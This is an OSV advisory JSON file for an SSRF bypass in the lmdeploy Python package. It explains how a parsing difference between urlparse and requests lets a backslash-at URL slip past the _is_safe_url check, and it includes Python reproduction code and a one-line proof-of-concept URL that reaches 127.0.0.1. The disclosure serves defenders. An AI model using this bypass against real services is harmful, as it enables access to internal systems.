Files
vuln-osv/data/PyPI/GHSA-39wr-7q6h-cf68.json
T

1 line
4.8 KiB
JSON
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.2","id":"GHSA-39wr-7q6h-cf68","published":"2026-09-18T17:14:06Z","modified":"2026-11-09T21:30:07.741935765Z","aliases":["CVE-2026-123818"],"summary":"LMDeploy has an SSRF bypass","details":"### Summary\nThe URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.\n\n### Details\nThe current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.\n<img width=\"943\" height=\"836\" alt=\"QQ20260416-203956-16-1\" src=\"https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d\" />\nHowever, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request.\n<img width=\"1086\" height=\"576\" alt=\"QQ20260416-204053-16-2\" src=\"https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a\" />\nThe core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\\@1.1.1.1` points to:\n\n- `urlparse()` treats `\\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)\n- `requests` treats `\\` as a path character, connecting to `127.0.0.1` (internal)\n\nBelow is a test code I wrote following the code.\n```\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\nimport requests\n\n\ndef _is_safe_url(url: str) -> tuple[bool, str]:\n \"\"\"Check if the URL is safe to fetch (not internal/private).\"\"\"\n try:\n parsed = urlparse(url)\n if parsed.scheme not in (\"http\", \"https\"):\n return False, f\"Unsupported scheme: {parsed.scheme}\"\n\n hostname = parsed.hostname\n if not hostname:\n return False, \"Could not parse hostname from URL\"\n\n # check all IPs (IPv4 + IPv6) using getaddrinfo\n try:\n infos = socket.getaddrinfo(hostname, None)\n except socket.gaierror:\n return False, \"Hostname resolution failed\"\n\n for info in infos:\n ip = ipaddress.ip_address(info[4][0])\n # block any IP that is not globally routable (covers private, loopback,\n # link-local, multicast, reserved, unspecified, etc.)\n if not ip.is_global:\n return False, f\"Blocked non-global IP detected: {ip}\"\n\n return True, \"URL is safe\"\n except Exception as e:\n return False, f\"URL validation failed: {str(e)}\"\n\n\n# url = \"http://127.0.0.1:6666\"\nurl = \"http://127.0.0.1:6666\\@1.1.1.1\"\nis_safe, reason = _is_safe_url(url)\nif not is_safe:\n raise ValueError(f\"URL is blocked for security reasons: {reason}\")\n\nfetch_timeout = 10\n\nclient = requests.Session()\nclient.max_redirects = 3\nresponse = client.get(url, timeout=fetch_timeout, allow_redirects=True)\n```\nWhen an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.\n<img width=\"1286\" height=\"195\" alt=\"QQ20260416-204234-16-3\" src=\"https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9\" />\nHowever, when an attacker uses `http://127.0.0.1:6666\\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack.\n\n<img width=\"2064\" height=\"154\" alt=\"QQ20260416-204319-16-4\" src=\"https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02\" />\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@1.1.1.1\n```\n\n### Impact\nSSRF","affected":[{"package":{"name":"lmdeploy","ecosystem":"PyPI","purl":"pkg:pypi/lmdeploy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.12.3"},{"fixed":"0.15.0"}]}],"versions":["0.12.3","0.13.0","0.14.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-39wr-7q6h-cf68/GHSA-39wr-7q6h-cf68.json"}}],"references":[{"type":"WEB","url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-39wr-7q6h-cf68"},{"type":"PACKAGE","url":"https://github.com/InternLM/lmdeploy"},{"type":"WEB","url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.15.0"}],"database_specific":{"cwe_ids":["CWE-436","CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-09-18T17:14:06Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}